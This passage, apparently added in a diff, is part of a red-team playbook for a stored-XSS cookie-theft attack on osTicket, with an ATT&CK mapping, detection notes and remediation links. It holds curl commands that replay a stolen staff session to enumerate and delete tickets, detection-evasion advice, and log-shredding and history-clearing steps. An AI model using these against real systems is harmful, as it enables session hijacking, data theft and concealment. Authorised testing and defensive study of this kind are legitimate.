+ | 3. Submit malicious ticket | Initial Access | T1190 | Exploit Public-Facing Application | — |
326
+ | 4. Payload fires on staff | Execution | T1059.007 | Command and Scripting Interpreter | JavaScript |
327
+ | 5. Cookie exfiltrated | Credential Access | T1539 | Steal Web Session Cookie | — |
328
+ | 6. Replay stolen session | Defense Evasion / Persistence | T1078 | Valid Accounts | T1078.001 (Default Accounts) |
329
+ | 7. Read internal tickets | Collection | T1213 | Data from Information Repositories | — |
330
+
331
+ ---
332
+
333
+ ## Detection and OPSEC
334
+
335
+ ### How This Attack Is Detected
336
+
337
+ | Detection Point | Mechanism |
338
+ |---|---|
339
+ | XSS payload in ticket body | WAF with XSS signature rules (ModSecurity CRS, Cloudflare) |
340
+ | Outbound HTTP from staff browser to unknown host | Proxy/NGFW egress filtering, DNS monitoring |
341
+ | Exfil callback to ngrok/external IP | SIEM alert on outbound connections to ngrok.io or similar |
342
+ | Session used from new IP/geolocation | Anomaly detection on authentication events |
343
+ | Bulk ticket enumeration | Rate limiting, IDS alert on sequential ID access |
344
+
345
+ ### Reducing Detection Risk During Authorized Engagement
346
+
347
+ - **Use a client-controlled exfil host** — request an IP/domain within scope rather than ngrok, to avoid triggering third-party domain alerts.
348
+ - **Use HTTPS for exfil** — plain HTTP requests to an external host are more likely flagged.
349
+ - **Limit ticket submission rate** — submit one ticket, wait; do not spam submissions.
350
+ - **Do not enumerate all tickets aggressively** — access only a representative sample to demonstrate impact. Use slow enumeration with random delays.
351
+ - **Use a dedicated browser profile** — avoid mixing your own cookies with replayed sessions.
352
+ - **Coordinate timing** — work during business hours when staff ticket review is likely, to shorten dwell time.
353
+
354
+ ```bash
355
+ # OPSEC-safe enumeration with delay
356
+ for ID in 1 50 100 200 300; do
357
+ curl -s -b "$STOLEN_COOKIE" "https://TARGET/scp/tickets.php?id=$ID" -o /tmp/ticket_$ID.html
358
+ sleep $((RANDOM % 10 + 5))
359
+ done
360
+ ```
361
+
362
+ ### Artifacts Left Behind
363
+
364
+ | Artifact | Location | Notes |
365
+ |---|---|---|
366
+ | Submitted ticket with XSS payload | osTicket database, `ost_ticket_thread` table | Persists until deleted by staff |
367
+ | Ticket confirmation email | Attacker disposable email | Minimal exposure |
368
+ | Staff browser history | Victim workstation | Shows external HTTP GET to exfil host |
369
+ | Web server access log | osTicket server | Records ticket submission from attacker IP |
370
+ | Exfil server log | Attacker-controlled host | Contains stolen cookie value — destroy after engagement |
371
+ | Session replay requests | osTicket access log | Authenticated requests from attacker IP, not staff IP |
372
+
373
+ ---
374
+
375
+ ## Cleanup
376
+
377
+ Execute the following after the engagement to remove artifacts:
378
+
379
+ ### 1. Delete the Malicious Ticket (requires staff or admin access)
380
+
381
+ ```bash
382
+ # Via staff panel — delete the ticket
383
+ curl -s -b "$STOLEN_COOKIE" -X POST "https://TARGET/scp/tickets.php" \
384
+ --data "id=TICKET_ID&a=delete&token=CSRF_TOKEN"
385
+
386
+ # Or: log in as staff via stolen session and delete through the UI
387
+ ```
388
+
389
+ ### 2. Remove Exfil Server Logs
390
+
391
+ ```bash
392
+ # On your exfil/listener server
393
+ shred -u /var/log/nginx/access.log
394
+ # Or clear Python http.server terminal history
395
+ history -c
396
+ ```
397
+
398
+ ### 3. Purge Local Evidence
399
+
400
+ ```bash
401
+ # Remove dumped ticket content
402
+ shred -u /tmp/sensitive_tickets.txt
403
+ rm -rf /tmp/xss-catch/
404
+ rm /tmp/ticket_*.html
405
+
406
+ # Clear shell history
407
+ history -c && history -w
408
+ ```
409
+
410
+ ### 4. Notify Client
411
+
412
+ After cleanup, provide the client with:
413
+ - The ticket ID submitted (so they can verify deletion from the database directly)
414
+ - Timestamp of the payload submission and session replay
415
+ - Recommendation to purge osTicket logs covering the engagement window
416
+
417
+ ---
418
+
419
+ ## References
420
+
421
+ ### Tools
422
+
423
+ | Tool | Purpose | URL |
424
+ |---|---|---|
425
+ | osTicket | Target platform documentation | https://osticket.com |
426
+ | ngrok | Public tunnel for cookie exfil listener | https://ngrok.com |
427
+ | BurpSuite Community | Request interception and payload crafting | https://portswigger.net/burp |
428
+ | OWASP XSS Filter Evasion Cheat Sheet | Payload bypass techniques | https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html |
429
+ | PayloadsAllTheThings — XSS | Payload library | https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection |
430
+ | XSSHunter | Blind XSS detection and cookie capture | https://xsshunter.trufflesecurity.com |
431
+
432
+ ### MITRE ATT&CK References
433
+
434
+ | Technique | URL |
435
+ |---|---|
436
+ | T1059.007 — JavaScript | https://attack.mitre.org/techniques/T1059/007/ |
437
+ | T1539 — Steal Web Session Cookie | https://attack.mitre.org/techniques/T1539/ |
438
+ | T1078 — Valid Accounts | https://attack.mitre.org/techniques/T1078/ |
439
+ | T1190 — Exploit Public-Facing Application | https://attack.mitre.org/techniques/T1190/ |
440
+ | T1213 — Data from Information Repositories | https://attack.mitre.org/techniques/T1213/ |
441
+
442
+ ### Remediation References
443
+
444
+ | Resource | URL |
445
+ |---|---|
446
+ | OWASP XSS Prevention Cheat Sheet | https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html |
447
+ | Content Security Policy (CSP) | https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP |
448
+ | HttpOnly Cookie Flag | https://owasp.org/www-community/HttpOnly |
449
+ | osTicket Security Hardening | https://docs.osticket.com |